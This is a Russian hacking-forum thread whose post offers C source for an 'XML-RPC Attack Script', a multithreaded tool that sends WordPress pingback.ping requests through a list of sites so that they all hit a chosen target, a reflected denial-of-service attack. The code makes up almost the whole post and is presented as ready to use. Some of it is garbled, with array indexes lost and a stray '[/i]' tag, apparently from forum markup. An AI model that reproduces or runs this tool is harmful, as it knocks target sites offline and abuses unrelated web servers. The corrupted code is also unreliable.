Главная Форум Файлы Статьи СОСТАВ ZH&ZHS О НАС GITHUB КАНАЛ YouTube BlackList WhiteList
Добро пожаловать на уникальный игровой портал ZETA-HACK TEAM! Здесь Вы сможете найти самые интересные новости из мира игровой индустрии, найти самые свежие сотфины для различных онлайн игр, общаясь на форуме получать мнения специалистов и помогать тем кто не смог получить нужный ответ в той или иной сфере!
Авторизация Регистрация
Последние обсуждаемые темы на форуме
Последние комментарии к новостям
Топ-10 форумчан
Заработок на файлообменниках 3... =AlexDrift= 0
"Халява" оператор мт... =AlexDrift= 0
Enigma+Protector+v5.20+x86+-+[... =AlexDrift= 0
Исходник FakeBots by daddy_pie... =AlexDrift= 0
AntiBanIP - FrostyVPN =AlexDrift= 0
Исходник собейта для GTA 5 =AlexDrift= 0
hATez0r атакир сайтов =AlexDrift= 0
SAMP-Firewall =AlexDrift= 0
socks5+proxy примеры на С++ =AlexDrift= 0
AntiSerialBans для SAMP =AlexDrift= 0
Приватный чит для Rust Experimental 21.11.2018
Приватный чит для Rust Experimental 21.11.2018
PS4-эксклюзив Spider-Man за четыре недел... 13.10.2018
[0.3e]Игровой мод сервера Street Workout... 12.10.2018
[0.3e]Игровой мод сервера Street Workout... 12.10.2018
PS4-эксклюзив Spider-Man за четыре недел... 12.10.2018
Новый вид крашинга 11.10.2018
PS4-эксклюзив Spider-Man за четыре недел... 11.10.2018
Новый вид крашинга 20.08.2018
Новый вид крашинга 08.08.2018
1. =AlexDrift= 502
2. Pahanch1kkk 45
3. InFerNo 34
4. R4DUGA 32
5. d1amondl1on 27
6. [NACIONAL]IST_BERZ 23
7. Julia 21
8. AdCKuY_DpO4uLa 20
9. Lil_Jonson 17
10. Effect 15
Витрина ссылок Купить ссылку (4 р.) » | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка

  • Страница 1 из 1
  • 1
Форум » Hacking и все что с ним связано » DoS/DDoS/Exploits » XML-RPC Attack Script
XML-RPC Attack Script
25.09.2018 в 17:59
#1
=AlexDrift=
Не важны козыри если игра не на счет...
Статус: Offline
Регистрация: 24.11.2012
Сообщения: 502
Репутация: 83
Что бы добавить медаль "Легенда портала" добавляем в ?if "or 1='ID пользователя'"
Что бы добавить медаль "Золотой страж" добавляем в ?if "or 1='ID пользователя'"
Код
/*
gcc xmlrpc.c -Wall -ggdb -fopenmp -o xmlrpc
*/
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <signal.h>
#include <string.h>
#include <stdio.h>
#include <netdb.h>
#include <unistd.h>
#include <time.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>

#include "omp.h"

static unsigned int nthreads = 1;    
static int sig_stop = 0;    

#define payloadSize 4096
#define packetSize (payloadSize + 4096)

struct url_t{    
    char * proto;
    char * host;
    char * path;
};

struct line_t{    
    char * url;    
    char * rpc;    
    struct addrinfo *rp;    
    struct url_t aURL;    
} *data;
static unsigned int dataSize = 0;    

static void signal_handler(int sig){
    switch(sig){
        case SIGINT:
        case SIGTERM:
            printf("Received interrupt signal. Stopping program...\n");
            sig_stop = 1;
            break;
    }
};

static int die(int rc){
    #pragma omp atomic
    sig_stop++;

    if(sig_stop > nthreads){    

        printf("Freeing global data\n");
        int i;
        for(i=0; i < dataSize; i++){
            free(data[i].url);
            free(data.rpc);
            free(data.rp->ai_addr);
            freeaddrinfo(data.rp);
            free(data.aURL.host);
            free(data.aURL.proto);
            free(data.aURL.path);
        }
        free(data);
    }

    printf("Thread %i done\n", omp_get_thread_num());
    exit(rc);
}

static char * parse_url(char * url_str, struct url_t* url){
    char * proto_end = strstr(url_str, "://");
    url->proto = (proto_end != NULL)? strndup(url_str, (proto_end - url_str))
        : NULL;
    char * host_end = strchr(&proto_end[3], '/');
    url->host =  (host_end != NULL) ? strndup(&proto_end[3], (host_end - &proto_end[3]))
        : NULL;

    url->path = (host_end != NULL)  ? strdup(&host_end[1])
        : NULL;

    return url->host;
}

/*static struct addrinfo * get_ip(const char * host, const int port){
    struct addrinfo hints;
    struct addrinfo *result;

    memset(&hints, 0, sizeof(struct addrinfo));
    hints.ai_family = AF_INET;    
    hints.ai_socktype = 0;
    hints.ai_flags = AI_NUMERICSERV;
    hints.ai_protocol = 0;    
    hints.ai_canonname = NULL;
    hints.ai_addr = NULL;
    hints.ai_next = NULL;

    char service[6]={0};
    snprintf(service, 6, "%i", port);
    int s = getaddrinfo(host, service, &hints, &result);
    if (s != 0) {
        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
            return NULL;
    }
    return result;
};*/

static int connect_me(const struct line_t * line, const unsigned short port, const unsigned short timeout){

    struct addrinfo * rp = line->rp;

    int skt = -1;
    if ((skt = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol)) < 0){
        perror("socket");
        fprintf(stderr, "Error connecting to %s on port %i\n", line->aURL.host, port);
        return -1;
    }

    struct timeval    tv_tout;    

    /* TODO: this does NOT work! Why ?
    tv_tout.tv_sec = timeout; tv_tout.tv_usec = 0;
    if(setsockopt(skt, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv_tout,sizeof(struct timeval)) == -1){
        perror("setsockopt");
        freeaddrinfo(rp);
        return -1;
    };*/
    int on = 1;
    if (ioctl(skt, (int)FIONBIO, (char *)&on)){
        printf("ioctl FIONBIO call failed\n");
    }

    connect(skt, rp->ai_addr, rp->ai_addrlen);

    fd_set  skt_set;
    FD_ZERO(&skt_set);
    FD_SET(skt, &skt_set);

    tv_tout.tv_sec = timeout;
    tv_tout.tv_usec = 0;

    int rc = select(skt+1, NULL, &skt_set, NULL, &tv_tout);
    if(rc < 0){
        close(skt);
        fprintf(stderr, "Error connecting to %s on port %i\n", line->aURL.host, port);
        return -1;
    }else if(rc == 0){
        close(skt);
        fprintf(stderr, "Timeout connecting to %s on port %i\n",line->aURL.host, port);
        return -1;
    }

    return skt;
};

static int do_request(char * packet,
            const struct line_t * line, const char * payload, const unsigned int payloadLen){

    int skt = connect_me(line, 80, 2);    
    if(skt == -1){
        return 1;
    }

    static const char packetFormat[] = "POST /%s HTTP/1.0\r\n"    
"Host: %s\r\n"    
"Content-type: text/xml\r\n"
"Content-length: %i\r\n"    
"User-agent: Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)\r\n"
"Connection: close\r\n\r\n"
"%s";

    int packetLen = snprintf(packet, packetSize, packetFormat, line->aURL.path, line->aURL.host, payloadLen, payload);

    if(send(skt, packet, packetLen, 0) == -1){
        perror("send");
    }
    close(skt);
    return 0;
};

static int get_lines(const char * filepath){

    FILE *fin = fopen(filepath, "r");
    if(fin == NULL){
        fprintf(stderr, "Unable to open '%s'\n", filepath);
        return 1;
    }

    size_t lineSize = 4096;
    char * line = (char*) malloc(lineSize);
    if(line == NULL){
        perror("malloc");
        return 1;
    }

    int bytes = 0;
    while((bytes = getline(&line, &lineSize, fin)) > 0){
        if(line[bytes-1] == '\n');
            dataSize++;
    }
    rewind(fin);

    data = (struct line_t*) malloc(sizeof(struct line_t)*dataSize);
    if(data == NULL){
        perror("malloc");
        return 1;
    }

    int i=0, line_i=0;
    char pton_buf[512]={0};
    while((bytes = getline(&line, &lineSize, fin)) > 0){
        line_i++;
        line[bytes-1] = '\0'; 
        char * space = strchr(line, ' ');
        if(space == NULL){
            continue;
        }

        data.url = strndup(line, (space - line));

        char * rpc = &space[1];
        space = strchr(&space[1], ' ');
        space[0] = '\0';

        data.rpc = strdup(rpc);

        char * rp_info = &space[1];
        data.rp = (struct addrinfo*) malloc(sizeof(struct addrinfo));
        if(data.rp == NULL){
            perror("malloc");
            die(1);
        }

        if(5 != sscanf(rp_info, "%i %i %i %u %s", &data.rp->ai_family,    &data.rp->ai_socktype,
          &data.rp->ai_protocol, &data.rp->ai_addrlen, pton_buf)){
            fprintf(stderr, "Error: Failed to parse 5 columns from line %i\n", line_i);
            die(1);
        }

        void *ptr;
        switch (data.rp->ai_family){
        case AF_INET:
            data.rp->ai_addr = (struct sockaddr *) malloc(sizeof(struct sockaddr_in));
            if(data.rp->ai_addr == NULL){
                perror("malloc"); die(1);
            }
            ptr = &((struct sockaddr_in *) data.rp->ai_addr)->sin_addr;
            ((struct sockaddr_in *) data.rp->ai_addr)->sin_port = htons(80);
          break;
        case AF_INET6:
            data.rp->ai_addr = (struct sockaddr *) malloc(sizeof(struct sockaddr_in6));
            if(data.rp->ai_addr == NULL){
                perror("malloc"); die(1);
            }
            ptr = &((struct sockaddr_in6 *) data.rp->ai_addr)->sin6_addr;
            ((struct sockaddr_in6 *) data.rp->ai_addr)->sin6_port = htons(80);
          break;
        }
        data.rp->ai_addr->sa_family = data.rp->ai_family;
        data.rp->ai_canonname = NULL;
        data.rp->ai_next = NULL;

        if(inet_pton(data.rp->ai_family, pton_buf, ptr) != 1){
            perror("inet_pton");
            die(1);
        }

        if(parse_url(rpc, &data.aURL) == NULL){
            fprintf(stderr, "Error: Parsing %s\n", data.rpc);
            die(1);    
        }

        i++;

    }
    dataSize = i;

    printf("Parsed %u lines from '%s'\n", i, filepath);
    free(line);
    fclose(fin);
    return 0;
}

int main(const int argc, const char * argv[]){    

    if(argc != 5){
        fprintf(stderr, "Usage: $0 {target} {file} {seconds} {threads}\n");
        return 1;
    }

    const char * target     = argv[1];
    const char * webFile = argv[2];
    unsigned int seconds = atoi(argv[3]);
    nthreads             = atoi(argv[4]);

    struct sigaction act, act_old;
    act.sa_handler = signal_handler;
    act.sa_flags = 0;
    sigemptyset(&act.sa_mask);
    if(    (sigaction(SIGINT,  &act, &act_old) == -1)    ||        
        (sigaction(SIGTERM, &act, &act_old) == -1)){
        perror("signal:");
        return 1;
    }

    static const char payloadFormat[] = "<?xmlversion=\"1.0\"?>"
"<methodCall>"
"<methodName>pingback.ping</methodName>"
"<params>"
"<param><value><string>%s</string></value></param>"    
"<param><value><string>%s</string></value></param>"    
"</params>"
"</methodCall>";

    if(get_lines(webFile) == 1){
        return 1;
    }

    time_t t3   = time(NULL);
    time_t tEnd = t3 + seconds;

    if(nthreads > dataSize){
        printf("Warning: Threads count > URL count. Reducing threads to %i\n", dataSize);
        nthreads = dataSize;
    }

    int chunk = dataSize / nthreads;

#pragma omp parallel num_threads(nthreads)
{
    int tid = omp_get_thread_num();
    char *payload = (char*) malloc(payloadSize);
    char *packet  = (char*) malloc(payloadSize + 4096);
    if((payload == NULL) || (packet == NULL)){
        perror("malloc");
        die(1);
    }

    int istart      = tid * chunk;
    int iend = istart + chunk;
    if(tid == (nthreads-1))    
        iend += (dataSize % nthreads);    

    while(sig_stop == 0){    

        #pragma omp flush(sig_stop)
        int i=0;
        time_t i1 = time(NULL);
        for(i=istart; i < iend; i++){
            if( (time(NULL) >= tEnd) || (sig_stop > 0) ){
                printf("Thread %i out of time\n", tid);
                i = iend;
                #pragma omp atomic
                sig_stop++;
                continue;
            }

            int payloadLen = snprintf(payload, payloadSize, payloadFormat, target, data.url);
            do_request(packet, &data, payload, payloadLen);

            usleep(10000);

            #pragma omp critical
            printf("%s\n", data.url);
        }
        time_t i2 = time(NULL);
        #pragma omp critical
        printf("%i| %i requests done for %lu sec\n", tid, (iend-istart), (i2-i1) );
    }
    free(payload);
    free(packet);

    #pragma omp atomic
    ++sig_stop;


    time_t t4 = time(NULL);
    printf("Runtime: %lus\n", t4-t3);

    die(0);
    return 0;
}[/i]

Форум » Hacking и все что с ним связано » DoS/DDoS/Exploits » XML-RPC Attack Script
  • Страница 1 из 1
  • 1
Поиск:

условия предоставления информации
Авторские права и контакты
счетчики
счетчики
счетчики
Новости и публикации в новостной ленте предоставлены исключительно в ознакомительных целях. Все материалы принадлежат исключительно их владельцам! Администрация портала не несет ответственности за последствия использования вами сторонних материалов, опубликованных на форуме, каталоге файлов, каталоге статей, но гарантирует отсутствие вредоносного кода в новостях и публикациях на главной.
  • Основатель портала - AlexDrift
  • Автор дизайна, разработчик - Lil Jonson
  • По возникшим вопросам дизайна - [email protected]
  • По всем возникшим вопросам - vk.com/alexdrift1137
  • Уникальный игровой портал ZETA-HACK.RU ® 2011 - 2019
  • Сайт создан в системе uCoz

  • Яндекс.Метрика
    Рейтинг@Mail.ru